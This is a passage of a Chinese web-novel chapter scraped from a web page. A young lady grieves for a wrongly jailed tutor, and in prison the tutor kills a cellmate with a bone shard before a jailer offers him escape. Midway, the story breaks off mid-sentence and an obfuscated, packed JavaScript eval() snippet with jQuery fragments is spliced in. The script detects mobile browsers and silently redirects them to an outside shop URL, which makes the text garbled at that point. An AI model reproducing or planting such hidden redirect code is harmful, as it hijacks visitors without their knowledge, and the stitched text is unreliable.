郑蕴愕然。
她显然没想到竟出了这样的事。不是……明明几日前的书信上宋时言还说他的课上得很好呢,怎会被抓进府衙大牢?而且他已经有了保荐信,除非是作奸犯科,否则官府也不能随意抓人呐!
宋时言抹干净泪。哭出来了,脑子反而清醒一些。她有些后悔向郑夫子说那番话了。
因她明白,这案子之所以这么快结案,除了那些人证物证,何尝不是祖父他们的默认。如果想要翻案,就需要彻查二房那边的人事,且不论如今还查不查得到,就算查到了,她真的能拿着所谓的证据去翻案吗,她真的能不顾宋氏声誉而大义灭亲吗?
只明明都想清楚了,为何在见到夫子时,还是就那样说了出来?
大概……若不是太焦急太无措了,她怎么也不可能如此失态地说出内心话。甚至眼下话说完,她虽有些后悔,却隐约生出一丝期冀。郑夫子被潘公收为义女,又有詹事府少詹事的亲兄,若这两人一起出面,或许……
郑蕴很快就明白过来。她知道那少年一定是被冤入狱,只她不是对他笃信,而是相信宋时言。
这么多年的教导,郑蕴十分清楚她的为人。她不是那种能被旁人花言巧语就哄骗过去的女郎,她知礼博学,聪慧睿智,能被她喜欢上的人,怎么都不能是作奸犯科之徒。
但郑蕴终究没有说出要帮忙的话,她不是不愿,而是需要弄清楚整件事。毕竟从开始到现在,宋时言也只说救人,却没说他是因何入狱。
郑蕴虽不清楚整件事的来龙去脉,但她自己也曾是官宦之女,全家又因昭文太子一案被抄家流放,所以乍一听到薛雨生受冤入狱,她第一想法就是他得罪人了。但薛雨生一介书生,又常年在府中,根本就没有机会结交什么人,因此他得罪的人极有可能就是宋氏中人。
也不是没有可能。毕竟血亲之间都有可能因为利益而大打出手,同室操戈,宋氏虽然宽仁,但面对切身相关的事时也会选择保全自己的利益。
不得不说,郑蕴在某一方面真相了。
待郑夫子回去,青霜进来收拾。只一眼望去,就看到女郎微肿的眼皮。
这些日子,女郎虽不说,但青霜偷偷看着,也知道女郎心里不好受。她已经不止一次看到她对着一朵绢花发呆了。
女郎的饰品都是她经手的,可青霜却不记得什么时候置办过那种样子的绢花。
她一直以为,女郎对薛夫子只是有些好感。双方都守着那条界限,谁都没有向前跨一步。但居然已经私相授受了吗。
只若是以前倒罢了,如今薛夫子都下了大牢,女郎和他也断无可能了,但女郎一直是这样的话,若是让旁人察觉出来……
青霜心中惴惴。一边为女郎心疼,一边又感到害怕。
但宋时言这时候开口了,她问的还是关于薛雨生的事。
“青芜去了吗,他这些天还好吗?”
青霜一哆嗦,又忽而想起已经有几日没见到小弟了,但她此刻哪敢多嘴,只想着让这些事快点过去,安安静静的,不要再起波澜。
“他去了,都打点了,嗯,都挺好的。”
都挺好的。
所以女郎也快些放心吧。放了心,就不会整日牵挂着那人。
三年时间,足以改变很多事,也足以忘掉一个人,一段情了。
*
夜晚来临,外面传来隐隐的梆子声。
鼻端仍是浓烈的腐霉味,只腐霉味里又多了些腥臭,让人闻之欲呕。
薛雨生便在这时醒了过来。
昏黄的光点泻了进来,在眼前晕开一抹朦胧,他知道那是火把的光,但他已经分不清白天还是黑夜了。
他睁着眼,试图坐起来,但一动,五脏六腑似挪位般,硬生生地闷疼。
薛雨生死咬牙关,忍着痛,费力坐起身,而就在他动作时,不远处,角落里有个黑影也动了动。
薛雨生遽然抬起头,望向他。
看不清那人的脸,但仍然可以察觉到一道阴冷的不容忽视的视线。
薛雨生心中一紧,藏在袖中的手挪向身后,伸进草垛里,直到触到一抹冰冷坚硬,才五指一攒,将之握入手中。
那是一截死人骨,是之前和那人打斗中无意间撞到一具骸骨,骸骨断裂,裂片扎进肉里,他才能够偷偷藏起来。
这座牢房里所有尖锐的东西都收走了,连一块石头都没有,薛雨生只是个学子,纵然在族学里学过骑射,但也仅限于强身健体,真跟人动起手,还是那样的穷凶极恶之徒,没过几招就处于劣势。但也很奇怪,这些天,每次他力竭或被打得晕过去时,那人却没有乘机杀了他。
但薛雨生却不认为他是故意留自己性命,这里这么多骸骨,可不是外面搬进来装点的。那人极有可能是故意这样,就像野兽反复逗弄爪下的猎物,欣赏对方在临死前拼命挣扎却无力挣脱的模样。
那人又动了动,这一次他站了起来。
接下来要发生什么,薛雨生再熟悉不过。他攒紧手中的一截人骨。
这几天,他并没有吃多少东西,他已经察觉到身体里的力量在急剧流失,再这样下去,不用那人折磨,他就会被饿死。
薛雨生知道时候不多了。
耳边响起铁链拉动的声响,下一瞬,脚再次被铁链套住。
而这一次,薛雨生并没有同往常一样费力挣脱,他一动不动,任由那人将他拉了过去。
地上的骸骨被扫得发出砰砰地声响,薛雨生好几次都被骸骨裂口处扎到,但他忍着痛,仍是没有挣扎,直到左侧身撞到墙壁,才猛地停下来。
这一撞,只觉眼冒金星,半边身体瞬间僵麻。而还没等他缓过来,头顶一黑,有硕大的阴影当头罩来。
前几次的交锋,薛雨生都采取避实就虚的策略,因此即便同处一间牢房,他都没看清楚那人的长相。
但这次,即便牢房内光线昏暗,他还是看清了。
透过那些杂乱的头发,他看到那人正眯着眼,打量着自己。并不是特别骇人的长相,甚至比之前牢房里的犯人还要普通,但就是一眼,薛雨生霎时通体生寒。
在此之前,他认为自己见识过很多人。无论是高官贵胄还是底层百姓,很多人都会伪装,但他们的眼神骗不了人。一个人内心的想法往往可以通过眼神泄露出来。
但他注视着眼前这人的眼睛,却发现他的眼神与以往他见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667292|174474||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过的人都不同。不可以单纯的从善恶来划分,他只感觉如同野兽般冰冷的眼神直直望着他,那眼神里什么意味都没有,只有单纯的杀戮。
薛雨生知道,今日恐怕就是最后的期限。他要动手了。
就在这时,这人果真伸出手,他的动作很快,薛雨生还未来得及反应,就被直接掐住了脖子,一把抡起来。
窒息的感觉瞬间袭来,薛雨生感觉头颅都要炸开,气血在胸腔内翻腾。那人却在这时怪笑出声,一声又一声,笑得人毛骨悚然。
就是此时!
下一瞬,一道低弱的仿佛钝器入肉的闷声响起。那人睁着眼,嘴角还是咧开的弧度,但是嘴里却没有声音了。
他似是不可置信般抬起空着的另一只手,摸向自己脖颈间。血溅出来,成喷射式涌出。然而他还没有触及那一处,手就颓然垂下,然后整个人砰的一下,跪倒在地。
喉咙中终于涌入一股生气,薛雨生蜷缩在地上,拼命咳嗽。
余光里,他看到那人倒在血泊中,眼睛瞪得鼓出来,嘴巴也张开,诡异而恐怖。
似是致死都没明白这一切是怎么发生的。
薛雨生却骇然止住咳。
他杀人了。
这一次,是实打实地杀人。
纵使已经在脑海中谋划了一切,纵使那人的确是该死的恶徒,但当利器真的刺进肉里,那种感觉却让人难受。
薛雨生这一辈子都没想过自己能杀人。
他也没想过自己会杀人。
在他原定的人生里,他会走仕途,一辈子坦坦荡荡,不会沾染血腥。
在被人污蔑杀人时没有感觉到,在被关进牢房里也没有感觉到,直至今天,就在他刺破那人的喉咙时,他忽而意识到,自己真的回不去了。
终究要和过去永别。
他垂下头,心中那只兽再次亮出利爪,他感到呼吸困难,就像方才被人扼住咽喉般地窒息。
但就在这时,黑暗里忽然有了声响。
有人在开门!
意识到这点,心中潮涌般的情绪瞬间散去,薛雨生转过头,紧紧盯着门口。
门被推开一条缝,有火把的光照进来。
就在这一瞬间,薛雨生的脑中闪过无数道想法。
他不动声色地将身影藏起来,隐在暗处。
他要看看,进来的人看到牢中这一幕,会是怎样精彩的表情。
他会怎么做?是惊慌失措,还是直接杀了他。
但这些通通都没出现。
进来的也根本不是之前押他来的狱卒,而是这牢狱的管头。
他应该是听到了牢房里的动静,才匆匆赶来。但很奇怪,当他看清地上躺着的人,并没有露出惊骇或者任何诧异的表情,反而略略松了口气。
然后,薛雨生看到他举着火把,扫视了一圈牢房,终于看到藏在角落里的他。
“跟我走。”
这是他开口的第一句话。
薛雨生紧盯他的眼睛,试图揣摩这人的意图。
但他显然没想着解释,又自怀中拿出一件衣物。
“这是你唯一活命的机会,想要活,就换上跟我走。”